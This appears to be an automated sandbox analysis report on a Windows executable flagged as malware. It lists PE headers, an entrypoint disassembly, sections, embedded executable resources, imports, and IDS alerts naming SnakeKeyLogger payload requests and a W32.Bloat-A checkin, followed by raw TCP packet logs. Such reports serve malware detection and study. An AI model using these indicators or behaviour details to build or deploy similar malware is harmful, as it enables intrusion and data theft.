Entrypoint:	0x49ab80
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	332f7ce65ead0adfb3d35147033aabe9

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0049A778h
call 00007F6694873D4Dh
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F66948C7695h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, 0049ABE0h
call 00007F66948C7294h
mov ecx, dword ptr [0049DBDCh]
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, dword ptr [00496590h]
call 00007F66948C7684h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F66948C76F8h
call 00007F669487182Bh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa0000	0x2a42	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x3b570	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa5000	0xa980	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0xa4018	0x21	.rdata
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xa4000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x99bec	0x99c00	33fbe30e8a64654287edd1bf05ae7c8c	False	0.5141641260162602	data	6.572957870355296	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9b000	0x2e54	0x3000	1f5e19e7d20c1d128443d738ac7bc610	False	0.453125	data	4.854620797809023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x9e000	0x11e5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa0000	0x2a42	0x2c00	21ff53180b390dc06e3a1adf0e57a073	False	0.3537819602272727	data	4.919333216027082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xa3000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xa4000	0x39	0x200	a92cf494c617731a527994013429ad97	False	0.119140625	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "J"	0.7846201577093705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xa5000	0xa980	0xaa00	dcd1b1c3f3d28d444920211170d1e8e6	False	0.5899816176470588	data	6.674124985579511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0x3b570	0x3b600	d677c52d7abf342f628dc6cbb9357c6a	False	0.3280345394736842	data	5.507491842385108	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xb0dc8	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.38636363636363635
RT_CURSOR	0xb0efc	0x134	data			0.4642857142857143
RT_CURSOR	0xb1030	0x134	data			0.4805194805194805
RT_CURSOR	0xb1164	0x134	data			0.38311688311688313
RT_CURSOR	0xb1298	0x134	data			0.36038961038961037
RT_CURSOR	0xb13cc	0x134	data			0.4090909090909091
RT_CURSOR	0xb1500	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_BITMAP	0xb1634	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1804	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380			0.46487603305785125
RT_BITMAP	0xb19e8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1bb8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39870689655172414
RT_BITMAP	0xb1d88	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.4245689655172414
RT_BITMAP	0xb1f58	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5021551724137931
RT_BITMAP	0xb2128	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5064655172413793
RT_BITMAP	0xb22f8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb24c8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5344827586206896
RT_BITMAP	0xb2698	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb2868	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.4870689655172414
RT_ICON	0xb2950	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.2324108818011257
RT_ICON	0xb39f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 8192	Turkish	Turkey	0.2101313320825516
RT_DIALOG	0xb4aa0	0x52	data			0.7682926829268293
RT_STRING	0xb4af4	0x358	data			0.3796728971962617
RT_STRING	0xb4e4c	0x428	data			0.37406015037593987
RT_STRING	0xb5274	0x3a4	data			0.40879828326180256
RT_STRING	0xb5618	0x3bc	data			0.33472803347280333
RT_STRING	0xb59d4	0x2d4	data			0.4654696132596685
RT_STRING	0xb5ca8	0x334	data			0.42804878048780487
RT_STRING	0xb5fdc	0x42c	data			0.42602996254681647
RT_STRING	0xb6408	0x1f0	data			0.4213709677419355
RT_STRING	0xb65f8	0x1c0	data			0.44419642857142855
RT_STRING	0xb67b8	0xdc	data			0.6
RT_STRING	0xb6894	0x320	data			0.45125
RT_STRING	0xb6bb4	0xd8	data			0.5879629629629629
RT_STRING	0xb6c8c	0x118	data			0.5678571428571428
RT_STRING	0xb6da4	0x268	data			0.4707792207792208
RT_STRING	0xb700c	0x3f8	data			0.37598425196850394
RT_STRING	0xb7404	0x378	data			0.41103603603603606
RT_STRING	0xb777c	0x380	data			0.35379464285714285
RT_STRING	0xb7afc	0x374	data			0.4061085972850679
RT_STRING	0xb7e70	0xe0	data			0.5535714285714286
RT_STRING	0xb7f50	0xbc	data			0.526595744680851
RT_STRING	0xb800c	0x368	data			0.40940366972477066
RT_STRING	0xb8374	0x3fc	data			0.34901960784313724
RT_STRING	0xb8770	0x2fc	data			0.36649214659685864
RT_STRING	0xb8a6c	0x354	data			0.31572769953051644
RT_RCDATA	0xb8dc0	0x44	data			0.8676470588235294
RT_RCDATA	0xb8e04	0x10	data			1.5
RT_RCDATA	0xb8e14	0x29840	PE32 executable (GUI) Intel 80386, for MS Windows			0.25760961610839295
RT_RCDATA	0xe2654	0x3	ASCII text, with no line terminators	Turkish	Turkey	3.6666666666666665
RT_RCDATA	0xe2658	0x3c00	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	Turkish	Turkey	0.54296875
RT_RCDATA	0xe6258	0x64c	data			0.5998759305210918
RT_RCDATA	0xe68a4	0x153	Delphi compiled form 'TFormVir'			0.7522123893805309
RT_RCDATA	0xe69f8	0x47d3	Microsoft Excel 2007+	Turkish	Turkey	0.8675150921846957
RT_GROUP_CURSOR	0xeb1cc	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0xeb1e0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0xeb1f4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xeb208	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xeb21c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xeb230	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xeb244	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0xeb258	0x14	data	Turkish	Turkey	1.1
RT_VERSION	0xeb26c	0x304	data	Turkish	Turkey	0.42875647668393785

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryA, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCurrentDirectoryA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegOpenKeyExA, RegNotifyChangeKeyValue, RegFlushKey, RegDeleteValueA, RegCreateKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, AdjustTokenPrivileges
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, WaitForMultipleObjects, VirtualQuery, VirtualAlloc, UpdateResourceA, UnmapViewOfFile, TerminateProcess, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetFileAttributesA, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryA, ReadFile, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileA, MapViewOfFile, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadLocale, GetTempPathA, GetTempFileNameA, GetSystemInfo, GetSystemDirectoryA, GetStringTypeExA, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeThread, GetDriveTypeA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, EndUpdateResourceA, DeleteFileA, DeleteCriticalSection, CreateThread, CreateProcessA, CreatePipe, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CloseHandle, BeginUpdateResourceA
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, ToAsciiEx, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MapWindowPoints, MapVirtualKeyExA, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextLengthA, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
ole32.dll	CLSIDFromString
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CLSIDFromProgID, CoCreateInstance, CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
shell32.dll	ShellExecuteExA, ExtractIconExW
wininet.dll	InternetGetConnectedState, InternetReadFile, InternetOpenUrlA, InternetOpenA, InternetCloseHandle
shell32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHGetDesktopFolder
advapi32.dll	OpenSCManagerA, CloseServiceHandle
wsock32.dll	WSACleanup, WSAStartup, gethostname, gethostbyname, inet_ntoa
netapi32.dll	Netbios

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-15T11:23:35.970223+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49708	142.250.186.78	443	TCP
2024-11-15T11:23:36.016711+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49709	142.250.186.78	443	TCP
2024-11-15T11:23:36.267286+0100	2832617	ETPRO MALWARE W32.Bloat-A Checkin	1	192.168.2.16	49711	69.42.215.252	80	TCP
2024-11-15T11:23:37.221878+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49712	142.250.186.78	443	TCP
2024-11-15T11:23:37.282448+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49714	142.250.186.78	443	TCP
2024-11-15T11:23:38.477084+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49719	142.250.186.78	443	TCP
2024-11-15T11:23:38.512493+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49720	142.250.186.78	443	TCP
2024-11-15T11:23:39.997079+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49728	142.250.186.78	443	TCP
2024-11-15T11:23:40.003936+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49727	142.250.186.78	443	TCP
2024-11-15T11:23:41.223641+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49733	142.250.186.78	443	TCP
2024-11-15T11:23:41.224036+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49735	142.250.186.78	443	TCP
2024-11-15T11:23:42.466260+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49738	142.250.186.78	443	TCP
2024-11-15T11:23:42.466655+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49737	142.250.186.78	443	TCP
2024-11-15T11:23:43.988205+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49746	142.250.186.78	443	TCP
2024-11-15T11:23:43.991183+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49747	142.250.186.78	443	TCP
2024-11-15T11:23:45.225404+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49753	142.250.186.78	443	TCP
2024-11-15T11:23:45.235927+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49751	142.250.186.78	443	TCP
2024-11-15T11:23:46.440222+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49755	142.250.186.78	443	TCP
2024-11-15T11:23:46.447453+0100	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	1	192.168.2.16	49756	142.250.186.78	443	TCP
2024-11-15T11:24:38.185016+0100	2832617	ETPRO MALWARE W32.Bloat-A Checkin	1	192.168.2.16	49771	69.42.215.252	80	TCP
2024-11-15T11:24:40.556228+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.16	49781	13.107.246.45	443	TCP
2024-11-15T11:24:48.608299+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.16	49816	13.107.246.45	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 11:23:34.695476055 CET	49708	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:34.695569038 CET	443	49708	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:34.695672035 CET	49708	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:34.702364922 CET	49708	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:34.702394962 CET	443	49708	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:34.761499882 CET	49709	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:34.761523962 CET	443	49709	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:34.761814117 CET	49709	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:34.762089968 CET	49709	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:34.762096882 CET	443	49709	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.565403938 CET	443	49708	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.565524101 CET	49708	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.566510916 CET	443	49708	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.566617966 CET	49708	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.584219933 CET	49711	80	192.168.2.16	69.42.215.252
Nov 15, 2024 11:23:35.589103937 CET	80	49711	69.42.215.252	192.168.2.16
Nov 15, 2024 11:23:35.589190006 CET	49711	80	192.168.2.16	69.42.215.252
Nov 15, 2024 11:23:35.589334011 CET	49711	80	192.168.2.16	69.42.215.252
Nov 15, 2024 11:23:35.594307899 CET	80	49711	69.42.215.252	192.168.2.16
Nov 15, 2024 11:23:35.608686924 CET	49708	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.608756065 CET	443	49708	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.609672070 CET	443	49708	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.609746933 CET	49708	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.612704039 CET	49708	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.642107964 CET	443	49709	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.642216921 CET	49709	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.643400908 CET	443	49709	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.643493891 CET	49709	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.647883892 CET	49709	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.647897959 CET	443	49709	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.648366928 CET	443	49709	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.648457050 CET	49709	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.648864985 CET	49709	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.655339956 CET	443	49708	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.691335917 CET	443	49709	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.970278025 CET	443	49708	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.970365047 CET	49708	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.970400095 CET	443	49708	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.970503092 CET	49708	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.971586943 CET	49708	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.971620083 CET	443	49708	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.971679926 CET	49708	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.972346067 CET	49712	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.972394943 CET	443	49712	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.972470045 CET	49712	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.972749949 CET	49712	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:35.972767115 CET	443	49712	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:35.982443094 CET	49713	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:35.982496023 CET	443	49713	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:35.982594013 CET	49713	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:35.982886076 CET	49713	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:35.982898951 CET	443	49713	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:36.016720057 CET	443	49709	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:36.016779900 CET	49709	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.016793013 CET	443	49709	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:36.016834974 CET	49709	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.016905069 CET	49709	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.016951084 CET	443	49709	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:36.017108917 CET	443	49709	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:36.017162085 CET	49709	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.017184019 CET	49709	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.017431974 CET	49714	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.017473936 CET	443	49714	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:36.017544985 CET	49714	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.017606020 CET	49715	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:36.017647028 CET	443	49715	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:36.017710924 CET	49715	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:36.017745018 CET	49714	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.017771006 CET	443	49714	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:36.018008947 CET	49715	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:36.018019915 CET	443	49715	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:36.267127991 CET	80	49711	69.42.215.252	192.168.2.16
Nov 15, 2024 11:23:36.267286062 CET	49711	80	192.168.2.16	69.42.215.252
Nov 15, 2024 11:23:36.849402905 CET	443	49712	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:36.849499941 CET	49712	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.850817919 CET	443	49712	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:36.850883007 CET	49712	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.854660034 CET	49712	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.854679108 CET	443	49712	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:36.855169058 CET	443	49712	142.250.186.78	192.168.2.16
Nov 15, 2024 11:23:36.855241060 CET	49712	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.855557919 CET	49712	443	192.168.2.16	142.250.186.78
Nov 15, 2024 11:23:36.863892078 CET	443	49713	142.250.185.65	192.168.2.16
Nov 15, 2024 11:23:36.863980055 CET	49713	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:36.867388010 CET	49713	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:23:36.867413998 CET	443	49713	142.250.185.65	192.168.2.16
